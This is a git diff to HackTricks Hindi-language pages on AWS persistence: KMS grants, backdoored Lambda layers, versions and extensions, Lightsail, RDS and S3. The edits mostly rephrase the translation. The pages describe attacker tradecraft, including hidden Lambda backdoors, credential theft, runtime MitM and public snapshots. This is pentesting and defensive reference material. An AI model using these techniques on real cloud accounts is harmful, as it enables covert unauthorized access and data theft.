--git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md index 69c9b2f8d..0e59726b3 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md @@ -16,7 +16,7 @@ ### शाश्वत अनुदान -अनुदान किसी विशेष कुंजी पर एक प्रमुख को कुछ अनुमतियाँ देने का एक और तरीका है। यह संभव है कि एक अनुदान दिया जाए जो एक उपयोगकर्ता को अनुदान बनाने की अनुमति देता है। इसके अलावा, एक उपयोगकर्ता के पास एक ही कुंजी पर कई अनुदान (यहां तक कि समान) हो सकते हैं। +अनुदान एक विशिष्ट कुंजी पर किसी प्रिंसिपल को कुछ अनुमतियाँ देने का एक और तरीका है। यह संभव है कि एक अनुदान दिया जाए जो एक उपयोगकर्ता को अनुदान बनाने की अनुमति देता है। इसके अलावा, एक उपयोगकर्ता के पास एक ही कुंजी पर कई अनुदान (यहां तक कि समान) हो सकते हैं। इसलिए, एक उपयोगकर्ता के पास सभी अनुमतियों के साथ 10 अनुदान हो सकते हैं। हमलावर को इसे लगातार मॉनिटर करना चाहिए। और यदि किसी बिंदु पर 1 अनुदान हटा दिया जाता है, तो अन्य 10 उत्पन्न किए जाने चाहिए। @@ -32,6 +32,6 @@ aws kms create-grant \ aws kms list-grants --key-id ``` > [!NOTE] -> एक ग्रांट केवल इस से अनुमति दे सकता है: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) +> एक ग्रांट केवल इस से अनुमतियाँ दे सकता है: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md index 6a14e72d9..872c679c0 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md @@ -12,7 +12,7 @@ ### Lambda Layer Persistence -यह संभव है कि **कोई लेयर पेश की जाए/बैकडोर किया जाए ताकि जब लैम्ब्डा निष्पादित हो, तो मनमाना कोड चल सके**: +यह **कोई भी कोड निष्पादित करने के लिए एक लेयर को पेश/backdoor करना** संभव है जब लैम्ब्डा को एक गुप्त तरीके से निष्पादित किया जाता है: {{#ref}} aws-lambda-layers-persistence.md @@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md ### Lambda Extension Persistence -Lambda Layers का दुरुपयोग करते हुए, यह भी संभव है कि एक्सटेंशन का दुरुपयोग किया जाए और लैम्ब्डा में स्थायी रूप से बने रहें, लेकिन साथ ही अनुरोधों को चुराएं और संशोधित करें। +Lambda Layers का दुरुपयोग करते हुए, यह एक्सटेंशन का भी दुरुपयोग करना संभव है और लैम्ब्डा में स्थायी रहना, लेकिन अनुरोधों को चुराना और संशोधित करना भी संभव है। {{#ref}} aws-abusing-lambda-extensions.md @@ -28,34 +28,34 @@ aws-abusing-lambda-extensions.md ### Via resource policies -यह संभव है कि विभिन्न लैम्ब्डा क्रियाओं (जैसे कि इनवोक या कोड अपडेट) के लिए बाहरी खातों को पहुंच प्रदान की जाए: +यह बाहरी खातों को विभिन्न लैम्ब्डा क्रियाओं (जैसे invoke या update code) तक पहुंच प्रदान करना संभव है:
### Versions, Aliases & Weights -एक Lambda में **विभिन्न संस्करण हो सकते हैं** (प्रत्येक संस्करण के साथ अलग कोड)।\ -फिर, आप लैम्ब्डा के **विभिन्न संस्करणों के साथ विभिन्न उपनाम बना सकते हैं** और प्रत्येक को अलग वजन सेट कर सकते हैं।\ -इस तरह एक हमलावर **बैकडोर संस्करण 1** और **केवल वैध कोड के साथ संस्करण 2** बना सकता है और **केवल 1%** अनुरोधों में संस्करण 1 को निष्पादित कर सकता है ताकि वह छिपा रहे। +एक Lambda में **विभिन्न संस्करण** हो सकते हैं (प्रत्येक संस्करण के साथ अलग कोड)।\ +फिर, आप लैम्ब्डा के **विभिन्न संस्करणों के साथ विभिन्न उपनाम** बना सकते हैं और प्रत्येक को विभिन्न वजन सेट कर सकते हैं।\ +इस तरह एक हमलावर **बैकडोर संस्करण 1** और **केवल वैध कोड के साथ संस्करण 2** बना सकता है और **केवल 1%** अनुरोधों में संस्करण 1 को निष्पादित कर सकता है ताकि वह गुप्त रह सके।
### Version Backdoor + API Gateway 1. Lambda का मूल कोड कॉपी करें -2. **मूल कोड को बैकडोर करते हुए एक नया संस्करण बनाएं** (या केवल दुर्भावनापूर्ण कोड के साथ)। उस संस्करण को प्रकाशित करें और **$LATEST पर तैनात करें** +2. **मूल कोड (या केवल दुर्भावनापूर्ण कोड) को बैकडोर करते हुए एक नया संस्करण बनाएं**। उस संस्करण को प्रकाशित करें और **$LATEST पर तैनात करें** 1. कोड निष्पादित करने के लिए लैम्ब्डा से संबंधित API गेटवे को कॉल करें 3. **मूल कोड के साथ एक नया संस्करण बनाएं**, उस **संस्करण को प्रकाशित करें** और **$LATEST पर तैनात करें**। 1. यह पिछले संस्करण में बैकडोर कोड को छिपा देगा 4. API गेटवे पर जाएं और **एक नया POST विधि बनाएं** (या कोई अन्य विधि चुनें) जो लैम्ब्डा के बैकडोर संस्करण को निष्पादित करेगा: `arn:aws:lambda:us-east-1::function::1` -1. अंतिम :1 को ध्यान में रखें जो **कार्य के संस्करण को इंगित करता है** (इस परिदृश्य में संस्करण 1 बैकडोर वाला होगा)। +1. अंतिम :1 को नोट करें जो **कार्य के संस्करण को इंगित करता है** (इस परिदृश्य में संस्करण 1 बैकडोर वाला होगा)। 5. बनाए गए POST विधि का चयन करें और क्रियाओं में **`Deploy API`** चुनें -6. अब, जब आप **POST के माध्यम से कार्य को कॉल करेंगे, तो आपका बैकडोर** सक्रिय होगा +6. अब, जब आप **POST के माध्यम से कार्य को कॉल करते हैं, तो आपका बैकडोर** सक्रिय होगा ### Cron/Event actuator -यह तथ्य कि आप **लैम्ब्डा कार्यों को तब चला सकते हैं जब कुछ होता है या जब कुछ समय बीतता है** लैम्ब्डा को स्थायीता प्राप्त करने और पहचान से बचने का एक अच्छा और सामान्य तरीका बनाता है।\ -यहां आपके **AWS में उपस्थिति को अधिक छिपाने के लिए लैम्ब्डा बनाने के कुछ विचार हैं**। +यह तथ्य कि आप **जब कुछ होता है या जब कुछ समय बीतता है तब लैम्ब्डा कार्यों को चलाने** के लिए बना सकते हैं, लैम्ब्डा को स्थायीता प्राप्त करने और पहचान से बचने का एक अच्छा और सामान्य तरीका बनाता है।\ +यहां आपके **AWS में अधिक गुप्तता से रहने के लिए लैम्ब्डा बनाने के कुछ विचार हैं**। - हर बार जब एक नया उपयोगकर्ता बनाया जाता है, तो लैम्ब्डा एक नया उपयोगकर्ता कुंजी उत्पन्न करता है और इसे हमलावर को भेजता है। - हर बार जब एक नई भूमिका बनाई जाती है, तो लैम्ब्डा समझौता किए गए उपयोगकर्ताओं को भूमिका मानने की अनुमति देता है। diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md index fbaed2c80..a8cd8c9a3 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md @@ -1,38 +1,38 @@ -# AWS - Abusing Lambda Extensions +# AWS - Lambda एक्सटेंशनों का दुरुपयोग {{#include ../../../../banners/hacktricks-training.md}} -## Lambda Extensions +## Lambda एक्सटेंशन्स -Lambda extensions कार्यों को विभिन्न **निगरानी, अवलोकन, सुरक्षा, और शासन उपकरणों** के साथ एकीकृत करके बढ़ाते हैं। ये एक्सटेंशन [.zip आर्काइव का उपयोग करके Lambda लेयर्स](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) के माध्यम से जोड़े जाते हैं या [कंटेनर इमेज डिप्लॉयमेंट्स](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/) में शामिल होते हैं, और दो मोड में कार्य करते हैं: **आंतरिक** और **बाहरी**। +Lambda एक्सटेंशन्स कार्यों को विभिन्न **निगरानी, अवलोकन, सुरक्षा, और शासन उपकरणों** के साथ एकीकृत करके बढ़ाती हैं। ये एक्सटेंशन्स [.zip आर्काइव के माध्यम से Lambda लेयर्स](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) के जरिए जोड़ी जाती हैं या [कंटेनर इमेज डिप्लॉयमेंट्स](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/) में शामिल की जाती हैं, और ये दो मोड में कार्य करती हैं: **आंतरिक** और **बाहरी**। -- **आंतरिक एक्सटेंशन** रनटाइम प्रक्रिया के साथ विलीन होते हैं, इसके स्टार्टअप को **भाषा-विशिष्ट पर्यावरण चर** और **रैपर स्क्रिप्ट** का उपयोग करके संशोधित करते हैं। यह अनुकूलन विभिन्न रनटाइम्स पर लागू होता है, जिसमें **Java Correto 8 और 11, Node.js 10 और 12, और .NET Core 3.1** शामिल हैं। -- **बाहरी एक्सटेंशन** अलग प्रक्रियाओं के रूप में चलते हैं, Lambda फ़ंक्शन के जीवन चक्र के साथ संचालन संरेखण बनाए रखते हैं। ये विभिन्न रनटाइम्स के साथ संगत हैं जैसे **Node.js 10 और 12, Python 3.7 और 3.8, Ruby 2.5 और 2.7, Java Corretto 8 और 11, .NET Core 3.1**, और **कस्टम रनटाइम्स**। +- **आंतरिक एक्सटेंशन्स** रनटाइम प्रक्रिया के साथ मिलकर काम करती हैं, इसके स्टार्टअप को **भाषा-विशिष्ट पर्यावरण चर** और **रैपर स्क्रिप्ट** का उपयोग करके संशोधित करती हैं। यह अनुकूलन विभिन्न रनटाइम्स पर लागू होता है, जिसमें **Java Correto 8 और 11, Node.js 10 और 12, और .NET Core 3.1** शामिल हैं। +- **बाहरी एक्सटेंशन्स** अलग प्रक्रियाओं के रूप में चलती हैं, Lambda कार्य के जीवन चक्र के साथ संचालन संरेखण बनाए रखती हैं। ये विभिन्न रनटाइम्स के साथ संगत हैं जैसे **Node.js 10 और 12, Python 3.7 और 3.8, Ruby 2.5 और 2.7, Java Corretto 8 और 11, .NET Core 3.1**, और **कस्टम रनटाइम्स**। -[**कैसे lambda extensions काम करते हैं, इसके बारे में अधिक जानकारी के लिए दस्तावेज़ देखें**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html)। +[**कैसे Lambda एक्सटेंशन्स काम करती हैं, इसके बारे में अधिक जानकारी के लिए दस्तावेज़ देखें**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html)। ### स्थिरता, अनुरोध चुराने और अनुरोधों को संशोधित करने के लिए बाहरी एक्सटेंशन यह इस पोस्ट में प्रस्तावित तकनीक का सारांश है: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/) -यह पाया गया कि Lambda रनटाइम वातावरण में डिफ़ॉल्ट Linux कर्नेल “**process_vm_readv**” और “**process_vm_writev**” सिस्टम कॉल के साथ संकलित है। और सभी प्रक्रियाएँ एक ही उपयोगकर्ता आईडी के साथ चलती हैं, यहां तक कि बाहरी एक्सटेंशन के लिए बनाई गई नई प्रक्रिया भी। **इसका मतलब है कि एक बाहरी एक्सटेंशन को डिज़ाइन के अनुसार Rapid की हीप मेमोरी तक पूर्ण पढ़ने और लिखने की पहुंच है।** +यह पाया गया कि Lambda रनटाइम वातावरण में डिफ़ॉल्ट Linux कर्नेल “**process_vm_readv**” और “**process_vm_writev**” सिस्टम कॉल के साथ संकलित है। और सभी प्रक्रियाएँ एक ही उपयोगकर्ता आईडी के साथ चलती हैं, यहां तक कि बाहरी एक्सटेंशन के लिए बनाई गई नई प्रक्रिया भी। **इसका मतलब है कि एक बाहरी एक्सटेंशन को Rapid की हीप मेमोरी तक पूर्ण पढ़ने और लिखने की पहुंच है, डिजाइन के अनुसार।** -इसके अलावा, जबकि Lambda एक्सटेंशन **आह्वान घटनाओं की सदस्यता लेने** की क्षमता रखते हैं, AWS इन एक्सटेंशनों को कच्चा डेटा नहीं दिखाता। यह सुनिश्चित करता है कि **एक्सटेंशन संवेदनशील जानकारी** तक पहुंच नहीं प्राप्त कर सकते जो HTTP अनुरोध के माध्यम से भेजी जाती है। +इसके अलावा, जबकि Lambda एक्सटेंशन्स **आह्वान घटनाओं की सदस्यता** लेने की क्षमता रखती हैं, AWS इन एक्सटेंशन्स को कच्चा डेटा नहीं दिखाता। यह सुनिश्चित करता है कि **एक्सटेंशन्स संवेदनशील जानकारी** तक पहुंच नहीं प्राप्त कर सकतीं जो HTTP अनुरोध के माध्यम से भेजी जाती है। -Init (Rapid) प्रक्रिया सभी API अनुरोधों की निगरानी करती है [http://127.0.0.1:9001](http://127.0.0.1:9001/) जबकि Lambda एक्सटेंशन प्रारंभ होते हैं और किसी भी रनटाइम कोड के निष्पादन से पहले चलते हैं, लेकिन Rapid के बाद। +Init (Rapid) प्रक्रिया सभी API अनुरोधों की निगरानी करती है [http://127.0.0.1:9001](http://127.0.0.1:9001/) जबकि Lambda एक्सटेंशन्स को प्रारंभ किया जाता है और किसी भी रनटाइम कोड के निष्पादन से पहले चलाया जाता है, लेकिन Rapid के बाद।

https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png

-चर **`AWS_LAMBDA_RUNTIME_API`** Rapid API का **IP** पता और **पोर्ट** संख्या **बच्चे रनटाइम प्रक्रियाओं** और अतिरिक्त एक्सटेंशनों को इंगित करता है। +चर **`AWS_LAMBDA_RUNTIME_API`** Rapid API के **IP** पते और **पोर्ट** नंबर को **बच्चे रनटाइम प्रक्रियाओं** और अतिरिक्त एक्सटेंशन्स को इंगित करता है। > [!WARNING] -> **`AWS_LAMBDA_RUNTIME_API`** पर्यावरण चर को एक **`पोर्ट`** में बदलकर, जिसके पास हम पहुंच रखते हैं, Lambda रनटाइम के भीतर सभी क्रियाओं को इंटरसेप्ट करना संभव है (**मैन-इन-द-मिडल**)। यह संभव है क्योंकि एक्सटेंशन Rapid Init के समान विशेषाधिकारों के साथ चलता है, और सिस्टम का कर्नेल **प्रक्रिया मेमोरी में संशोधन** की अनुमति देता है, जिससे पोर्ट संख्या को बदलना संभव होता है। +> **`AWS_LAMBDA_RUNTIME_API`** पर्यावरण चर को एक **`पोर्ट`** में बदलकर, जिसके पास हम पहुंच रखते हैं, Lambda रनटाइम के भीतर सभी क्रियाओं को इंटरसेप्ट करना संभव है (**मैन-इन-द-मिडल**)। यह संभव है क्योंकि एक्सटेंशन Rapid Init के समान विशेषाधिकारों के साथ चलता है, और सिस्टम का कर्नेल **प्रक्रिया मेमोरी में संशोधन** की अनुमति देता है, जिससे पोर्ट नंबर को बदलना संभव होता है। -क्योंकि **एक्सटेंशन किसी भी रनटाइम कोड से पहले चलते हैं**, पर्यावरण चर को संशोधित करने से रनटाइम प्रक्रिया (जैसे, Python, Java, Node, Ruby) पर प्रभाव पड़ेगा जब यह शुरू होता है। इसके अलावा, **हमारे बाद लोड किए गए एक्सटेंशन**, जो इस चर पर निर्भर करते हैं, वे भी हमारे एक्सटेंशन के माध्यम से रूट करेंगे। यह सेटअप मैलवेयर को सुरक्षा उपायों या लॉगिंग एक्सटेंशनों को पूरी तरह से बायपास करने की अनुमति दे सकता है जो सीधे रनटाइम वातावरण के भीतर हैं। +क्योंकि **एक्सटेंशन्स किसी भी रनटाइम कोड से पहले चलती हैं**, पर्यावरण चर को संशोधित करने से रनटाइम प्रक्रिया (जैसे, Python, Java, Node, Ruby) पर प्रभाव पड़ेगा जब यह शुरू होती है। इसके अलावा, **हमारे बाद लोड की गई एक्सटेंशन्स**, जो इस चर पर निर्भर करती हैं, भी हमारे एक्सटेंशन के माध्यम से रूट होंगी। यह सेटअप मैलवेयर को सुरक्षा उपायों या लॉगिंग एक्सटेंशन्स को पूरी तरह से बायपास करने की अनुमति दे सकता है जो सीधे रनटाइम वातावरण के भीतर हैं।

https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png

-उपकरण [**lambda-spy**](https://github.com/clearvector/lambda-spy) को **मेमोरी लिखने** और Lambda अनुरोधों से **संवेदनशील जानकारी चुराने** के लिए बनाया गया था, अन्य **एक्सटेंशनों** के **अनुरोधों** और यहां तक कि **उन्हें संशोधित करने** के लिए। +उपकरण [**lambda-spy**](https://github.com/clearvector/lambda-spy) को **मेमोरी लिखने** और Lambda अनुरोधों से संवेदनशील जानकारी **चुराने**, अन्य **एक्सटेंशन्स** **अनुरोधों** और यहां तक कि **उन्हें संशोधित करने** के लिए बनाया गया था। ## संदर्भ diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md index aad4d36ff..16e64890c 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md @@ -6,11 +6,11 @@ एक Lambda लेयर एक .zip फ़ाइल संग्रह है जो **अतिरिक्त कोड** या अन्य सामग्री **शामिल कर सकता है**। एक लेयर में पुस्तकालय, एक [कस्टम रनटाइम](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), डेटा, या कॉन्फ़िगरेशन फ़ाइलें हो सकती हैं। -आप **प्रत्येक फ़ंक्शन के लिए पांच लेयर्स** तक शामिल कर सकते हैं। जब आप किसी फ़ंक्शन में एक लेयर शामिल करते हैं, तो **सामग्री को `/opt`** निर्देशिका में निष्पादन वातावरण में निकाला जाता है। +एक फ़ंक्शन में **पाँच लेयर्स** तक शामिल करना संभव है। जब आप एक फ़ंक्शन में एक लेयर शामिल करते हैं, तो **सामग्री को `/opt`** निर्देशिका में निष्पादन वातावरण में निकाला जाता है। -**डिफ़ॉल्ट रूप से**, जो **लेयर्स** आप बनाते हैं वे आपके AWS खाते के लिए **निजी** होती हैं। आप एक लेयर को अन्य खातों के साथ **साझा** करने या लेयर को **सार्वजनिक** बनाने का विकल्प चुन सकते हैं। यदि आपके फ़ंक्शन किसी अन्य खाते द्वारा प्रकाशित की गई लेयर का उपयोग करते हैं, तो आपके फ़ंक्शन **लेयर संस्करण का उपयोग जारी रख सकते हैं, भले ही इसे हटा दिया गया हो, या आपके लेयर तक पहुँचने की अनुमति को रद्द कर दिया गया हो**। हालाँकि, आप एक नई फ़ंक्शन नहीं बना सकते या हटाई गई लेयर संस्करण का उपयोग करके फ़ंक्शंस को अपडेट नहीं कर सकते। +**डिफ़ॉल्ट** रूप से, जो **लेयर्स** आप बनाते हैं वे आपके AWS खाते के लिए **निजी** होती हैं। आप एक लेयर को अन्य खातों के साथ **साझा** करने या लेयर को **सार्वजनिक** बनाने का विकल्प चुन सकते हैं। यदि आपके फ़ंक्शन एक लेयर का उपयोग करते हैं जिसे एक अलग खाते ने प्रकाशित किया है, तो आपके फ़ंक्शन **लेयर संस्करण का उपयोग जारी रख सकते हैं** भले ही इसे हटा दिया गया हो, या आपके लेयर तक पहुँचने की अनुमति को रद्द कर दिया गया हो। हालाँकि, आप एक नई फ़ंक्शन नहीं बना सकते या हटाई गई लेयर संस्करण का उपयोग करते हुए फ़ंक्शंस को अपडेट नहीं कर सकते। -कंटेनर इमेज के रूप में तैनात फ़ंक्शन लेयर्स का उपयोग नहीं करते हैं। इसके बजाय, आप इमेज बनाने के समय अपने पसंदीदा रनटाइम, पुस्तकालयों और अन्य निर्भरताओं को कंटेनर इमेज में पैकेज करते हैं। +कंटेनर इमेज के रूप में तैनात फ़ंक्शन लेयर्स का उपयोग नहीं करते हैं। इसके बजाय, आप इमेज बनाने के समय अपने पसंदीदा रनटाइम, पुस्तकालयों और अन्य निर्भरताओं को कंटेनर इमेज में पैक करते हैं। ### Python load path @@ -18,23 +18,23 @@ Python द्वारा lambda में उपयोग किया जा ``` ['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages'] ``` -चेक करें कि **दूसरे** और तीसरे **स्थान** पर वे निर्देशिकाएँ हैं जहाँ **lambda layers** अपनी फ़ाइलें अनकंप्रेस करती हैं: **`/opt/python/lib/python3.9/site-packages`** और **`/opt/python`** +चेक करें कि **दूसरे** और तीसरे **स्थान** को उन निर्देशिकाओं द्वारा कब्जा किया गया है जहाँ **lambda layers** अपनी फ़ाइलों को अनकंप्रेस करते हैं: **`/opt/python/lib/python3.9/site-packages`** और **`/opt/python`** > [!CAUTION] > यदि एक हमलावर एक उपयोग की गई lambda **layer** में **बैकडोर** डालने में सफल हो जाता है या **एक ऐसा जोड़ता है** जो **एक सामान्य पुस्तकालय लोड होने पर मनमाना कोड निष्पादित करेगा**, तो वह प्रत्येक lambda कॉल के साथ दुर्भावनापूर्ण कोड निष्पादित करने में सक्षम होगा। इसलिए, आवश्यकताएँ हैं: -- **चेक करें पुस्तकालय** जो **पीड़ित के कोड** द्वारा **लोड** किए गए हैं +- **चेक करें पुस्तकालय** जो **पीड़ितों के कोड** द्वारा **लोड** किए गए हैं - एक **प्रॉक्सी लाइब्रेरी बनाएं जो lambda layers** के साथ **कस्टम कोड निष्पादित करेगी** और **मूल** पुस्तकालय को **लोड** करेगी। ### प्रीलोडेड पुस्तकालय > [!WARNING] -> इस तकनीक का दुरुपयोग करते समय मुझे एक कठिनाई मिली: कुछ पुस्तकालय **पहले से ही लोड** होते हैं जब आपका कोड निष्पादित होता है। मैं `os` या `sys` जैसी चीजें खोजने की उम्मीद कर रहा था, लेकिन **यहाँ तक कि `json` पुस्तकालय भी लोड हो चुका था**।\ +> जब इस तकनीक का दुरुपयोग करते समय मैंने एक कठिनाई पाई: कुछ पुस्तकालय **पहले से ही लोड** होते हैं जब आपका कोड निष्पादित होता है। मैं `os` या `sys` जैसी चीजें खोजने की उम्मीद कर रहा था, लेकिन **यहाँ तक कि `json` पुस्तकालय भी लोड हो चुका था**।\ > इस स्थायी तकनीक का दुरुपयोग करने के लिए, कोड को **एक नया पुस्तकालय लोड करना होगा जो लोड नहीं होता** जब कोड निष्पादित होता है। -इस तरह के एक पायथन कोड के साथ यह संभव है कि **पुस्तकों की सूची प्राप्त की जाए जो प्रीलोडेड** हैं पायथन रनटाइम के अंदर lambda में: +इस तरह के एक पायथन कोड के साथ यह संभव है कि **पुस्तकों की सूची प्राप्त करें जो प्रीलोडेड** हैं पायथन रनटाइम के अंदर lambda में: ```python import sys @@ -102,7 +102,7 @@ sys.modules["csv"] = _csv - उपयोगकर्ता की एक मौजूदा लेयर में बैकडोर डालें (कुछ भी बाहरी नहीं है) - **अपने खाते में** एक **लेयर** **बनाएं**, **पीड़ित खाते को लेयर का उपयोग करने के लिए अनुमति दें**, **पीड़ित की लैम्ब्डा में लेयर को कॉन्फ़िगर करें** और **अनुमति हटा दें**। -- **लैम्ब्डा** अभी भी **लेयर का उपयोग कर सकेगा** और **पीड़ित** के पास **लेयर्स कोड डाउनलोड करने का कोई आसान तरीका नहीं होगा** (लैम्ब्डा के अंदर एक रिव शेल प्राप्त करने के अलावा) +- **लैम्ब्डा** अभी भी **लेयर का उपयोग** कर सकेगा और **पीड़ित** के पास **लेयर्स कोड डाउनलोड करने का कोई आसान तरीका नहीं होगा** (लैम्ब्डा के अंदर एक रिव शेल प्राप्त करने के अलावा) - पीड़ित **`aws lambda list-layers`** के साथ उपयोग की गई बाहरी लेयर्स नहीं देखेगा। ```bash # Upload backdoor layer diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md index 60be5857c..645e03f05 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md @@ -10,7 +10,7 @@ ../aws-services/aws-lightsail-enum.md {{#endref}} -### इंस्टेंस SSH कुंजी और DB पासवर्ड डाउनलोड करें +### डाउनलोड इंस्टेंस SSH कुंजी और DB पासवर्ड वे शायद नहीं बदले जाएंगे इसलिए उन्हें रखना स्थिरता के लिए एक अच्छा विकल्प है @@ -26,8 +26,8 @@ यदि डोमेन कॉन्फ़िगर किए गए हैं: -- एक उपडोमेन बनाएं जो आपके IP की ओर इशारा करता है ताकि आपके पास **subdomain takeover** हो -- **SPF** रिकॉर्ड बनाएं जो आपको डोमेन से **emails** भेजने की अनुमति देता है -- **मुख्य डोमेन IP को अपने स्वयं के IP पर कॉन्फ़िगर करें** और अपने IP से वैध IPs के लिए **MitM** करें +- अपने IP की ओर इशारा करने वाला एक उपडोमेन बनाएं ताकि आपके पास **subdomain takeover** हो +- डोमेन से **emails** भेजने की अनुमति देने वाला **SPF** रिकॉर्ड बनाएं +- **मुख्य डोमेन IP को अपने खुद के IP पर कॉन्फ़िगर करें** और अपने IP से वैध IPs के लिए **MitM** करें {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md index 2cfcd11e9..e336d83d0 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md @@ -1,4 +1,4 @@ -# AWS - RDS Persistence +# AWS - RDS स्थिरता {{#include ../../../banners/hacktricks-training.md}} @@ -18,7 +18,7 @@ aws rds modify-db-instance --db-instance-identifier target-instance --publicly-a ``` ### DB के अंदर एक एडमिन यूजर बनाएं -एक हमलावर बस **DB के अंदर एक यूजर बना सकता है** ताकि अगर मास्टर यूजर का पासवर्ड बदल दिया जाए तो भी वह **डेटाबेस तक पहुंच नहीं खोता**। +एक हमलावर बस **DB के अंदर एक यूजर बना सकता है** ताकि अगर मास्टर यूजर का पासवर्ड बदल भी दिया जाए तो वह **डेटाबेस तक पहुंच नहीं खोता**। ### स्नैपशॉट को सार्वजनिक बनाएं ```bash diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md index 4f899931c..166e93fa8 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md @@ -10,15 +10,15 @@ ../aws-services/aws-s3-athena-and-glacier-enum.md {{#endref}} -### KMS क्लाइंट-साइड एन्क्रिप्शन +### KMS Client-Side Encryption जब एन्क्रिप्शन प्रक्रिया पूरी हो जाती है, तो उपयोगकर्ता KMS API का उपयोग करके एक नया कुंजी उत्पन्न करेगा (`aws kms generate-data-key`) और वह **उत्पन्न एन्क्रिप्टेड कुंजी को फ़ाइल के मेटाडेटा के अंदर स्टोर करेगा** ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) ताकि जब डिक्रिप्शन हो, तो वह इसे फिर से KMS का उपयोग करके डिक्रिप्ट कर सके:
-इसलिए, एक हमलावर इस कुंजी को मेटाडेटा से प्राप्त कर सकता है और KMS के साथ डिक्रिप्ट कर सकता है (`aws kms decrypt`) ताकि वह जानकारी को एन्क्रिप्ट करने के लिए उपयोग की गई कुंजी प्राप्त कर सके। इस तरह, हमलावर के पास एन्क्रिप्शन कुंजी होगी और यदि उस कुंजी का पुन: उपयोग अन्य फ़ाइलों को एन्क्रिप्ट करने के लिए किया जाता है, तो वह इसका उपयोग कर सकेगा। +इसलिए, एक हमलावर इस कुंजी को मेटाडेटा से प्राप्त कर सकता है और KMS के साथ डिक्रिप्ट कर सकता है (`aws kms decrypt`) ताकि वह जानकारी को एन्क्रिप्ट करने के लिए उपयोग की गई कुंजी प्राप्त कर सके। इस तरह, हमलावर के पास एन्क्रिप्शन कुंजी होगी और यदि उस कुंजी का उपयोग अन्य फ़ाइलों को एन्क्रिप्ट करने के लिए किया जाता है, तो वह इसका उपयोग कर सकेगा। -### S3 ACLs का उपयोग करना +### Using S3 ACLs हालांकि आमतौर पर बाल्टियों के ACLs बंद होते हैं, एक हमलावर जिसके पास पर्याप्त विशेषाधिकार हैं, उनका दुरुपयोग कर सकता है (यदि सक्षम हैं या यदि हमलावर उन्हें सक्षम कर सकता है) S3 बाल्टी तक पहुंच बनाए रखने के लिए। diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md index 32aea59f0..4d4d68187 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md @@ -16,9 +16,9 @@ ### Secrets Rotate Lambda के माध्यम से -स्वचालित रूप से **रहस्यों को घुमाने** के लिए एक कॉन्फ़िगर किया गया **Lambda** कॉल किया जाता है। यदि एक हमलावर **कोड** को **बदल** सकता है, तो वह सीधे **नए रहस्य को** अपने लिए **निकाल** सकता है। 